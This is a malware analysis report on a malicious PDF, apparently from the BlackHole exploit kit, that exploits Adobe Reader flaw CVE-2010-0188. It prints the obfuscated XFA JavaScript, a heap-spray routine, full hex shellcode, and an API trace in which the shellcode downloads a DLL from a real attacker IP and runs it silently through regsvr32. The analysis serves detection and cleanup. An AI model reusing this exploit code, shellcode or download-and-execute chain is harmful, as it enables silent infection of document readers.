#Malware Analysis - BlackHole PDF CVE-2010-0188 Infector)

I supposed to paste this report to the VT comments, but for some reason I couldn't paste it well. So I put it here. Please refer to the below VT analysis URL for this analysis.
https://www.virustotal.com/file/f3836e899f2cef2338a31be6dae936f0e9ef53f43d677daacfd0e032b3a27253/analysis/
==========================
Description:
==========================
[code] This is the malicious PDF used by Exploit Pack (strongly suspected) blackhole for dropping the malware.
The malicious part in this PDF is in obfuscated JavaScript to exploit the privillege using CVE-2010-0188 & executing the shellcode to download and running the malware downloader trojan. [/code]
==========================
Sample was found here:
==========================
[code] --22:30:52--  hxxp://188.127.249.241/content/ap2.php?f=696
=> 'ap2.php@f=696'
Connecting to 188.127.249.241:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24,792 (24K) (application/pdf)
100%(====================================>) 24,792        25.49K/s
22:30:54 (25.47 KB/s) - 'ap2.php@f=696' saved (24792/24792) [/code]
*) PLEASE BE NOTED THE PATTERN OF THE URL MARKED ABOVE FOR THE FURTHER INFECTION INVESTIGATION
==========================
The Malware Code:
==========================
*) the malware code is located as an object in obfuscated javascript below:
[code] ＜h:xdp xmlns:h="http://ns.adobe.com/xdp/"＞
＜asd/＞as＜config xmlns='123'＞＜asd/＞
＜h:present＞
＜pdf
＞
＜h:interactive＞1＜/h:interactive＞
＜asd/＞a＜h:version＞1.5＜/h:version＞
a＜asd/＞
＜/pdf＞
＜/h:present＞
＜asd/＞＜/config＞＜asd/＞
＜template xmlns='http://www.xfa.org/schema/xfa-template/2.5/'＞
＜asd/＞
a＜subform name="a1"＞        ＜pageSet＞
＜pageArea id="roteYom" name="roteYom"＞
＜contentArea h="512pt" w="214pt" x="0.25in" y="0.25in"/＞
＜medium long="792pt" short="612pt" stock="default"/＞
＜/pageArea＞
＜/pageSet＞
＜subform name='asdvsa'＞＜field name='qwe123b'＞＜event activity='initialize'＞
＜h:script contentType='application/x-javascript'＞

if(this)ar=「-4,

-3,

-2,
:
(continued for 6,000lines)
:

21,

22,

5」;

function test3(){if (s)v=ar「z];s=s& amp;#43;cc[v+4]&#59;}
cc={q:"var pding;b,cefhots_x=w& amp;#65;y()l1'420657839u{.VS'<+I}*/DkR%-W[」mCj^?:LBKQYEUqFM"}.q&#59;
qq=& amp;#39;ghej4vabl'&#59;
q=qq[2」+qq[5]+qq[6];
q=& amp;#113;+qq[8];
b= {v:{q:{x:this}}}.v.q.x&#59;
w= {v:b「q]}.v&#59;
s=Array()&#59;
n={v:cc}.v;
for(i=0;i-3790<0&#59;i++){
z=i&#59;
test3()&#59;

}
w(s);

＜/h:script＞a
＜/event＞＜ui＞
＜imageEdit/＞
＜/ui＞
＜/field＞
＜/subform＞
＜/subform＞＜/template＞a＜asd/＞a＜xfa:datasets a='a' xmlns:xfa='http://www.xfa.org/schema/xfa-data/1.1' b='b'＞
＜xfa:data＞＜a1 test="123"＞
＜/a1＞
＜/xfa:data＞
＜/xfa:datasets＞
＜/h:xdp＞   [/code]

Deobfs above obfs javascript and found the eval with the below shellcode value:
[code] var _l1 = '
4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a4141414126000000000000000000000000
0000001239804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b70
1c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b75
3c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e
2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b6808
8bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e
00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c7442404
76723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d
0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c3
0ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b
1bc64679361a2f70687474703a2f2f3138382e3132372e3234392e3234312f636f6e74656e742f772e7068703f
663d36393626653d340000';
var _l2 = '
4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a4141414126000000000000000000000000
0000007188804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b70
1c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b75
3c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e
2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b6808
8bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e
00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c7442404
76723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d
0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c3
0ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b
1bc64679361a2f70687474703a2f2f3138382e3132372e3234392e3234312f636f6e74656e742f772e7068703f
663d36393626653d340000';   [/code]

Complete deobfs will be something like this:
[code]
var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = '4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3138382e3132372e3234392e3234312f636f6e74656e742f772e7068703f663d36393626653d340000';
var _l2 = '4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b701c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b753c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b68088bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c744240476723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c30ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b1bc64679361a2f70687474703a2f2f3138382e3132372e3234392e3234312f636f6e74656e742f772e7068703f663d36393626653d340000';
//_l3 = app;
_l4 = new Array();
function _l5()
{
var _l6 = _l3.viewerVersion.toString();
_l6 = _l6.replace('.', '');
while (_l6.length ＜ 4)_l6 += '0';
return parseInt(_l6, 10)
}
function _l7(_l8, _l9)
{
while (_l8.length * 2 ＜ _l9)_l8 += _l8;
return _l8.substring(0, _l9/2)
}
function _I0(_I1)
{
_I1=unescape(_I1);
roteDak=_I1.length*2;
dakRote=unescape('%u9090');
spray=_l7(dakRote,0x2000-roteDak);
loxWhee=_I1+spray;
loxWhee=_l7(loxWhee,524098);
for(i=0; i ＜ 400; i++)_l4「i」=loxWhee.substr(0,loxWhee.length-1)+dakRote;
}
function _I2(_I1,len)
{
while(_I1.length＜len)_I1+=_I1;
return _I1.substring(0,len)
}
function _I3(_I1)
{
ret='';
for(i=0;i＜_I1.length;i+=2)
{
b=_I1.substr(i,2);
c=parseInt(b,16);
ret+=String.fromCharCode(c);
}
return ret
}
function _ji1(_I1,_I4)
{
_I5='';
for(_I6=0;_I6＜_I1.length;_I6++)
{
_l9=_I4.length;
_I7=_I1.charCodeAt(_I6);
_I8=_I4.charCodeAt(_I6%_l9);
_I5+=String.fromCharCode(_I7^_I8);
}
return _I5
}
function _I9(_I6)
{
_j0=_I6.toString(16);
_j1=_j0.length;
_I5=(_j1%2)?'0'+_j0:_j0;
return _I5
}
function _j2(_I1)
{
_I5='';
for(_I6=0;_I6＜_I1.length;_I6+=2)
{
_I5+='%u';
_I5+=_I9(_I1.charCodeAt(_I6+1));
_I5+=_I9(_I1.charCodeAt(_I6))
}
return _I5
}
function _j3()
{
_j4=_l5();
_j5='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK' or _j5='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgED
AAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////;
_j6=_l1;
_j7=_I3(_j6)}  [/code]
*) The above strings has similarity w/ the exploit in http://downloads.securityfocus.com/vulnerabilities/exploits/38195.py to be used to feed the crafted TIFF format to the adobe reader.

The shellcode (var _l2 & _l1) itself is using urlmon.dll and kernel.dll which is reversed as below:
strings :
[code] 4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a4141414126000000000000000000000000
0000007188804a6420600f0004000041414141414141416683e4fcfc85e47534e95f33c0648b40308b400c8b70
1c568b760833db668b5e3c0374332c81ee1510ffffb88b4030c346390675fb87342485e47551e9eb4c51568b75
3c8b74357803f5568b762003f533c94941fcad03c533db0fbe1038f27408c1cb0d03da40ebf13b1f75e65e8b5e
2403dd668b0c4b8d46ecff54240c8bd803dd8b048b03c5ab5e59c3eb53ad8b6820807d0c33740396ebf38b6808
8bf76a0559e898ffffffe2f9e80000000058506a4068ff0000005083c01950558bec8b5e1083c305ffe3686f6e
00006875726c6d54ff1683c4088be8e861ffffffeb02eb7281ec040100008d5c240cc7042472656773c7442404
76723332c7442408202d73205368f8000000ff560c8be833c951c7441d0077706274c7441d052e646c6cc6441d
0900598ac1043088441d0441516a006a0053576a00ff561485c075166a0053ff56046a0083eb0c53ff560483c3
0ceb02eb1347803f0075fa47803f0075c46a006afeff5608e89cfeffff8e4e0eec98fe8a0e896f01bd33ca8a5b
1bc64679361a2f70687474703a2f2f3138382e3132372e3234392e3234312f636f6e74656e742f772e7068703f
663d36393626653d340000'; [/code]
==========================
If you see it in ASCII it will be like this:
==========================
[code] L.'....J<.'..c.J...J0..Jn/.JAAAA&................9.Jd.'.....AAAA
AAAAf......u4._3.d.@0.@..p.V.v.3.f.^<.t3,........@0.F9.u..4$..uQ
..LQV.u<.t5x..V.v...3.IA....3....8.t......@..;.u.^.^$..f..K.F..T
$...........^Y..S..h..}.3t.....h...j.Y............XPj@h....P...P
U...^......hon..hurlmT........a......r.......\$...$regs.D$.vr32.
D$..-s.Sh.....V...3.Q.D..wpbt.D...dll.D...Y...0.D..AQj.j.SWj..V.
..u.j.S.V.j....S.V........G.?.u.G.?.u.j.j..V.......N.......o..3.
.[..Fy6./phXXp://188.127.249.241/content/w.php?f=696&e=4.. [/code]
*) You'll see the download url of the trojan downloader up there.
==========================
If we reverse shellcode means like below:
==========================
[code]
0x7c801ad9|kernel32.VirtualProtect(lpAddress=0x402202, dwSize=255)
0x7c801d7b|kernel32.LoadLibraryA(lpFileName=urlmon)
0x7c835dfa|kernel32.GetTempPathA(lpBuffer=0x22fa60, nBufferLength=248, [lpBuffer=C:\DOCUME~1\Administrator\LOCALS~1\Temp\])|
0x1a494bbe|urlmon.URLDownloadToFileA(pCaller=0, szURL=http://188.127.249.241/content/w.php?f=696&e=4, lpfnCB=0x0, szFileName=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll)|0
0x7c86250d|kernel32.WinExec(lpCmdLine=C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)|
0x7c86250d|kernel32.WinExec(lpCmdLine=regsvr32 -s C:\DOCUME~1\Administrator\LOCALS~1\Temp\wpbt0.dll, uCmdShow=0)|
0x7c81cb3b|kernel32.TerminateThread(dwExitCode=0)   [/code]
==========================
What it means?
==========================
Means it downloaded from the marked url, and saved locally as wpbt0.dll & silently execute regsvr32 -s as process, for the infection. if you try to download the trojan, it wasn't there anymore, must be cleaned up, I guess this PDF infector was still in server during cleanup.
==========================
Proof:
==========================
[code] $ curl "http://188.127.249.241/content/w.php
?f=696&e=4"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /content/w.php was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request
.</p>
<hr>
<address>Apache/2 Server at 188.127.249.241 Port 80</address>
</body></html> [/code]
------
ZeroDay Japan http://0day.jp
OPERATION CLEANUP JAPAN | #OCJP
Analyst: Hendrik ADRIAN アドリアン・ヘンドリック Malware Researcher VT/ twitter/google: @unixfreaxjp
sponsored by: 株式会社ケイエルジェイテック http://www.kljtech.com